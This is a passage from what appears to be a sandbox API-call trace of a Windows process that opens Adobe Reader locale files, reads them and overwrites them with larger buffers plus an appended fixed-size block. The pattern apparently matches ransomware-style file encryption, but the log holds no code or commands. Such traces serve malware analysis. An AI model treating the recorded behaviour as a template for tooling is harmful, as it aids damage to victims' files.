(in: hFile=0x1a0, lpBuffer=0x1da3ea8*, nNumberOfBytesToWrite=0x8000, lpNumberOfBytesWritten=0x2e0f28c, lpOverlapped=0x0 | out: lpBuffer=0x1da3ea8*, lpNumberOfBytesWritten=0x2e0f28c*=0x8000, lpOverlapped=0x0) returned 1 [0041.009] CloseHandle (hObject=0x1a0) returned 1 [0041.009] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\da_DK\\updater.DAN" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\da_dk\\updater.dan"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1a0 [0041.010] SetFilePointer (in: hFile=0x1a0, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e0f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x2e0f8c0*=0) returned 0x0 [0041.010] SetFilePointer (in: hFile=0x1a0, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e0f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e0f8c0*=0) returned 0x2a00 [0041.010] SetFilePointer (in: hFile=0x1a0, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e0f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2e0f8c0*=0) returned 0x0 [0041.010] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0041.010] ReleaseMutex (hMutex=0x128) returned 1 [0041.010] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="updater.DAN", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0041.010] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="updater.DAN", cchWideChar=11, lpMultiByteStr=0x1e6342c, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="updater.DAN", lpUsedDefaultChar=0x0) returned 11 [0041.010] ReadFile (in: hFile=0x1a0, lpBuffer=0x1d80018, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x2e0f278, lpOverlapped=0x0 | out: lpBuffer=0x1d80018*, lpNumberOfBytesRead=0x2e0f278*=0x1000, lpOverlapped=0x0) returned 1 [0041.040] SetFilePointer (in: hFile=0x1a0, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x2e0f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e0f2e8*=0) returned 0x1a00 [0041.040] ReadFile (in: hFile=0x1a0, lpBuffer=0x1d80018, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x2e0f278, lpOverlapped=0x0 | out: lpBuffer=0x1d80018*, lpNumberOfBytesRead=0x2e0f278*=0x1000, lpOverlapped=0x0) returned 1 [0041.065] SetFilePointer (in: hFile=0x1a0, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x2e0f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e0f2e8*=0) returned 0x1a00 [0041.065] WriteFile (in: hFile=0x1a0, lpBuffer=0x25c7e08*, nNumberOfBytesToWrite=0x1588, lpNumberOfBytesWritten=0x2e0f28c, lpOverlapped=0x0 | out: lpBuffer=0x25c7e08*, lpNumberOfBytesWritten=0x2e0f28c*=0x1588, lpOverlapped=0x0) returned 1 [0041.066] SetFilePointer (in: hFile=0x1a0, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e0f2bc*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2e0f2bc*=0) returned 0x0 [0041.066] WriteFile (in: hFile=0x1a0, lpBuffer=0x1d80018*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x2e0f28c, lpOverlapped=0x0 | out: lpBuffer=0x1d80018*, lpNumberOfBytesWritten=0x2e0f28c*=0x1000, lpOverlapped=0x0) returned 1 [0041.066] CloseHandle (hObject=0x1a0) returned 1 [0041.066] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\de_DE\\eBook.DEU" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\de_de\\ebook.deu"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1c4 [0041.101] SetFilePointer (in: hFile=0x1c4, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e0f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x2e0f8c0*=0) returned 0x0 [0041.101] SetFilePointer (in: hFile=0x1c4, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e0f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e0f8c0*=0) returned 0x1c00 [0041.101] SetFilePointer (in: hFile=0x1c4, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e0f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2e0f8c0*=0) returned 0x0 [0041.101] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0041.101] ReleaseMutex (hMutex=0x128) returned 1 [0041.101] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="eBook.DEU", cchWideChar=9, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 9 [0041.102] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="eBook.DEU", cchWideChar=9, lpMultiByteStr=0x1e631cc, cbMultiByte=9, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="eBook.DEU", lpUsedDefaultChar=0x0) returned 9 [0041.102] ReadFile (in: hFile=0x1c4, lpBuffer=0x2732c08, nNumberOfBytesToRead=0x1c00, lpNumberOfBytesRead=0x2e0f2bc, lpOverlapped=0x0 | out: lpBuffer=0x2732c08*, lpNumberOfBytesRead=0x2e0f2bc*=0x1c00, lpOverlapped=0x0) returned 1 [0041.186] SetFilePointer (in: hFile=0x1c4, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e0f300*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2e0f300*=0) returned 0x0 [0041.186] WriteFile (in: hFile=0x1c4, lpBuffer=0x2732c08*, nNumberOfBytesToWrite=0x2188, lpNumberOfBytesWritten=0x2e0f2d0, lpOverlapped=0x0 | out: lpBuffer=0x2732c08*, lpNumberOfBytesWritten=0x2e0f2d0*=0x2188, lpOverlapped=0x0) returned 1 [0041.187] CloseHandle (hObject=0x1c4) returned 1 [0041.187] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\de_DE\\SaveAsRTF.DEU" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\de_de\\saveasrtf.deu"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1c4 [0041.188] SetFilePointer (in: hFile=0x1c4, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e0f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x2e0f8c0*=0) returned 0x0 [0041.188] SetFilePointer (in: hFile=0x1c4, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e0f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e0f8c0*=0) returned 0x4c00 [0041.188] SetFilePointer (in: hFile=0x1c4, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e0f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2e0f8c0*=0) returned 0x0 [0041.188] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0041.188] ReleaseMutex (hMutex=0x128) returned 1 [0041.188] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="SaveAsRTF.DEU", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0041.188] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="SaveAsRTF.DEU", cchWideChar=13, lpMultiByteStr=0x1e6324c, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="SaveAsRTF.DEU", lpUsedDefaultChar=0x0) returned 13 [0041.188] ReadFile (in: hFile=0x1c4, lpBuffer=0x1defde8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x2e0f278, lpOverlapped=0x0 | out: lpBuffer=0x1defde8*, lpNumberOfBytesRead=0x2e0f278*=0x1000, lpOverlapped=0x0) returned 1 [0041.210] SetFilePointer (in: hFile=0x1c4, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x2e0f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e0f2e8*=0) returned 0x3c00 [0041.210] ReadFile (in: hFile=0x1c4, lpBuffer=0x1defde8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x2e0f278, lpOverlapped=0x0 | out: lpBuffer=0x1defde8*, lpNumberOfBytesRead=0x2e0f278*=0x1000, lpOverlapped=0x0) returned 1 [0041.229] SetFilePointer (in: hFile=0x1c4, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x2e0f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e0f2e8*=0) returned 0x3c00 [0041.229] WriteFile (in: hFile=0x1c4, lpBuffer=0x2732c08*, nNumberOfBytesToWrite=0x1588, lpNumberOfBytesWritten=0x2e0f28c, lpOverlapped=0x0 | out: lpBuffer=0x2732c08*, lpNumberOfBytesWritten=0x2e0f28c*=0x1588, lpOverlapped=0x0) returned 1 [0041.230] SetFilePointer (in: hFile=0x1c4, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e0f2bc*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2e0f2bc*=0) returned 0x0 [0041.230] WriteFile (in: hFile=0x1c4, lpBuffer=0x1defde8*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x2e0f28c, lpOverlapped=0x0 | out: lpBuffer=0x1defde8*, lpNumberOfBytesWritten=0x2e0f28c*=0x1000, lpOverlapped=0x0) returned 1 [0041.230] CloseHandle (hObject=0x1c4) returned 1 [0041.230] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\es_ES\\AdobeCollabSync.ESP" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\es_es\\adobecollabsync.esp"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1c4 [0041.230] SetFilePointer (in: hFile=0x1c4, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e0f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x2e0f8c0*=0) returned 0x0 [0041.231] SetFilePointer (in: hFile=0x1c4, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e0f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e0f8c0*=0) returned 0x1a00 [0041.231] SetFilePointer (in: hFile=0x1c4, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e0f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2e0f8c0*=0) returned 0x0 [0041.231] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0041.231] ReleaseMutex (hMutex=0x128) returned 1 [0041.231] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="AdobeCollabSync.ESP", cchWideChar=19, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 19 [0041.231] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="AdobeCollabSync.ESP", cchWideChar=19, lpMultiByteStr=0x1e789ec, cbMultiByte=19, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="AdobeCollabSync.ESP", lpUsedDefaultChar=0x0) returned 19 [0041.231] ReadFile (in: hFile=0x1c4, lpBuffer=0x2732c08, nNumberOfBytesToRead=0x1a00, lpNumberOfBytesRead=0x2e0f2bc, lpOverlapped=0x0 | out: lpBuffer=0x2732c08*, lpNumberOfBytesRead=0x2e0f2bc*=0x1a00, lpOverlapped=0x0) returned 1 [0041.251] SetFilePointer (in: hFile=0x1c4, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e0f300*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2e0f300*=0) returned 0x0 [0041.251] WriteFile (in: hFile=0x1c4, lpBuffer=0x2763ff8*, nNumberOfBytesToWrite=0x1f88, lpNumberOfBytesWritten=0x2e0f2d0, lpOverlapped=0x0 | out: lpBuffer=0x2763ff8*, lpNumberOfBytesWritten=0x2e0f2d0*=0x1f88, lpOverlapped=0x0) returned 1 [0041.251] CloseHandle (hObject=0x1c4) returned 1 [0041.252] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\es_ES\\Multimedia.ESP" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\es_es\\multimedia.esp"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1c4 [0041.252] SetFilePointer (in: hFile=0x1c4, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e0f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x2e0f8c0*=0) returned 0x0 [0041.252] SetFilePointer (in: hFile=0x1c4, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e0f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e0f8c0*=0) returned 0x14a00 [0041.252] SetFilePointer (in: hFile=0x1c4, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e0f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2e0f8c0*=0) returned 0x0 [0041.252] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0041.252] ReleaseMutex (hMutex=0x128) returned 1 [0041.252] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Multimedia.ESP", cchWideChar=14, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 14 [0041.252] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Multimedia.ESP", cchWideChar=14, lpMultiByteStr=0x1e6306c, cbMultiByte=14, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Multimedia.ESP", lpUsedDefaultChar=0x0) returned 14 [0041.252] ReadFile (in: hFile=0x1c4, lpBuffer=0x2763ff8, nNumberOfBytesToRead=0x4000, lpNumberOfBytesRead=0x2e0f278, lpOverlapped=0x0 | out: lpBuffer=0x2763ff8*, lpNumberOfBytesRead=0x2e0f278*=0x4000, lpOverlapped=0x0) returned 1 [0041.269] SetFilePointer (in: hFile=0x1c4, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x2e0f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e0f2e8*=0) returned 0x13a00 [0041.269] ReadFile (in: hFile=0x1c4, lpBuffer=0x1defde8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x2e0f278, lpOverlapped=0x0 | out: lpBuffer=0x1defde8*, lpNumberOfBytesRead=0x2e0f278*=0x1000, lpOverlapped=0x0) returned 1 [0041.270] SetFilePointer (in: hFile=0x1c4, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x2e0f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e0f2e8*=0) returned 0x13a00 [0041.270] WriteFile (in: hFile=0x1c4, lpBuffer=0x2734c38*, nNumberOfBytesToWrite=0x1588, lpNumberOfBytesWritten=0x2e0f28c, lpOverlapped=0x0 | out: lpBuffer=0x2734c38*, lpNumberOfBytesWritten=0x2e0f28c*=0x1588, lpOverlapped=0x0) returned 1 [0041.270] SetFilePointer (in: hFile=0x1c4, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e0f2bc*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2e0f2bc*=0) returned 0x0 [0041.270] WriteFile (in: hFile=0x1c4, lpBuffer=0x2809d28*, nNumberOfBytesToWrite=0x4000, lpNumberOfBytesWritten=0x2e0f28c, lpOverlapped=0x0 | out: lpBuffer=0x2809d28*, lpNumberOfBytesWritten=0x2e0f28c*=0x4000, lpOverlapped=0x0) returned 1 [0041.271] CloseHandle (hObject=0x1c4) returned 1 [0041.271] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\es_ES\\Services\\Services.asfx" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\es_es\\services\\services.asfx"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1c4 [0041.271] SetFilePointer (in: hFile=0x1c4, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e0f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x2e0f8c0*=0) returned 0x0 [0041.271] SetFilePointer (in: hFile=0x1c4, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e0f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e0f8c0*=0) returned 0xe7 [0041.271] SetFilePointer (in: hFile=0x1c4, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e0f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2e0f8c0*=0) returned 0x0 [0041.271] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0041.271] ReleaseMutex (hMutex=0x128) returned 1 [0041.271] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Services.asfx", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0041.271] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Services.asfx", cchWideChar=13, lpMultiByteStr=0x1e631cc, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Services.asfx", lpUsedDefaultChar=0x0) returned 13 [0041.271] ReadFile (in: hFile=0x1c4, lpBuffer=0x25e9d48, nNumberOfBytesToRead=0xe7, lpNumberOfBytesRead=0x2e0f2bc, lpOverlapped=0x0 | out: lpBuffer=0x25e9d48*, lpNumberOfBytesRead=0x2e0f2bc*=0xe7, lpOverlapped=0x0) returned 1 [0041.272] SetFilePointer (in: hFile=0x1c4, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e0f300*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2e0f300*=0) returned 0x0 [0041.272] WriteFile (in: hFile=0x1c4, lpBuffer=0x261fa88*, nNumberOfBytesToWrite=0x66f, lpNumberOfBytesWritten=0x2e0f2d0, lpOverlapped=0x0 | out: lpBuffer=0x261fa88*, lpNumberOfBytesWritten=0x2e0f2d0*=0x66f, lpOverlapped=0x0) returned 1 [0041.272] CloseHandle (hObject=0x1c4) returned 1 [0041.272] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\eu_ES\\DigSig.EUQ" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\eu_es\\digsig.euq"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1c4 [0041.273] SetFilePointer (in: hFile=0x1c4, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e0f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x2e0f8c0*=0) returned 0x0 [0041.273] SetFilePointer (in: hFile=0x1c4, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e0f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e0f8c0*=0) returned 0x1e600 [0041.273] SetFilePointer (in: hFile=0x1c4, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e0f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2e0f8c0*=0) returned 0x0 [0041.273] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0041.273] ReleaseMutex (hMutex=0x128) returned 1 [0041.273] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="DigSig.EUQ", cchWideChar=10, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 10 [0041.273] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="DigSig.EUQ", cchWideChar=10, lpMultiByteStr=0x1e6338c, cbMultiByte=10, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="DigSig.EUQ", lpUsedDefaultChar=0x0) returned 10 [0041.273] ReadFile (in: hFile=0x1c4, lpBuffer=0x2763ff8, nNumberOfBytesToRead=0x4000, lpNumberOfBytesRead=0x2e0f278, lpOverlapped=0x0 | out: lpBuffer=0x2763ff8*, lpNumberOfBytesRead=0x2e0f278*=0x4000, lpOverlapped=0x0) returned 1 [0041.290] SetFilePointer (in: hFile=0x1c4, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x2e0f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e0f2e8*=0) returned 0x1d600 [0041.290] ReadFile (in: hFile=0x1c4, lpBuffer=0x2737a98, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x2e0f278, lpOverlapped=0x0 | out: lpBuffer=0x2737a98*, lpNumberOfBytesRead=0x2e0f278*=0x1000, lpOverlapped=0x0) returned 1 [0041.290] SetFilePointer (in: hFile=0x1c4, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x2e0f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e0f2e8*=0) returned 0x1d600 [0041.290] WriteFile (in: hFile=0x1c4, lpBuffer=0x25c7dd8*, nNumberOfBytesToWrite=0x1588, lpNumberOfBytesWritten=0x2e0f28c, lpOverlapped=0x0 | out: lpBuffer=0x25c7dd8*, lpNumberOfBytesWritten=0x2e0f28c*=0x1588, lpOverlapped=0x0) returned 1 [0041.290] SetFilePointer (in: hFile=0x1c4, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e0f2bc*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2e0f2bc*=0) returned 0x0 [0041.290] WriteFile (in: hFile=0x1c4, lpBuffer=0x280bd58*, nNumberOfBytesToWrite=0x4000, lpNumberOfBytesWritten=0x2e0f28c, lpOverlapped=0x0 | out: lpBuffer=0x280bd58*, lpNumberOfBytesWritten=0x2e0f28c*=0x4000, lpOverlapped=0x0) returned 1 [0041.291] CloseHandle (hObject=0x1c4) returned 1 [0041.291] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\eu_ES\\ReadOutLoud.EUQ" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\eu_es\\readoutloud.euq"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1c4 [0041.291] SetFilePointer (in: hFile=0x1c4, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e0f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x2e0f8c0*=0) returned 0x0 [0041.291] SetFilePointer (in: hFile=0x1c4, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e0f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e0f8c0*=0) returned 0x2c00 [0041.291] SetFilePointer (in: hFile=0x1c4, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e0f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2e0f8c0*=0) returned 0x0 [0041.291] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0041.291] ReleaseMutex (hMutex=0x128) returned 1 [0041.291] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="ReadOutLoud.EUQ", cchWideChar=15, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 15 [0041.291] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="ReadOutLoud.EUQ", cchWideChar=15, lpMultiByteStr=0x1e6342c, cbMultiByte=15, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ReadOutLoud.EUQ", lpUsedDefaultChar=0x0) returned 15 [0041.291] ReadFile (in: hFile=0x1c4, lpBuffer=0x2737a98, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x2e0f278, lpOverlapped=0x0 | out: lpBuffer=0x2737a98*, lpNumberOfBytesRead=0x2e0f278*=0x1000, lpOverlapped=0x0) returned 1 [0041.312] SetFilePointer (in: hFile=0x1c4, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x2e0f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e0f2e8*=0) returned 0x1c00 [0041.312] ReadFile (in: hFile=0x1c4, lpBuffer=0x1defde8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x2e0f278, lpOverlapped=0x0 | out: lpBuffer=0x1defde8*, lpNumberOfBytesRead=0x2e0f278*=0x1000, lpOverlapped=0x0) returned 1 [0041.312] SetFilePointer (in: hFile=0x1c4, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x2e0f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e0f2e8*=0) returned 0x1c00 [0041.312] WriteFile (in: hFile=0x1c4, lpBuffer=0x25c5dd8*, nNumberOfBytesToWrite=0x1588, lpNumberOfBytesWritten=0x2e0f28c, lpOverlapped=0x0 | out: lpBuffer=0x25c5dd8*, lpNumberOfBytesWritten=0x2e0f28c*=0x1588, lpOverlapped=0x0) returned 1 [0041.313] SetFilePointer (in: hFile=0x1c4, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e0f2bc*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2e0f2bc*=0) returned 0x0 [0041.313] WriteFile (in: hFile=0x1c4, lpBuffer=0x1defde8*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x2e0f28c, lpOverlapped=0x0 | out: lpBuffer=0x1defde8*, lpNumberOfBytesWritten=0x2e0f28c*=0x1000, lpOverlapped=0x0) returned 1 [0041.313] CloseHandle (hObject=0x1c4) returned 1 [0041.313] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\fi_FI\\accessibility.SUO" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\fi_fi\\accessibility.suo"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1c4 [0041.313] SetFilePointer (in: hFile=0x1c4, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e0f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x2e0f8c0*=0) returned 0x0 [0041.313] SetFilePointer (in: hFile=0x1c4, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e0f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e0f8c0*=0) returned 0xa600 [0041.313] SetFilePointer (in: hFile=0x1c4, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e0f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2e0f8c0*=0) returned 0x0 [0041.313] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0041.313] ReleaseMutex (hMutex=0x128) returned 1 [0041.313] WideCharToMultiByte (in: 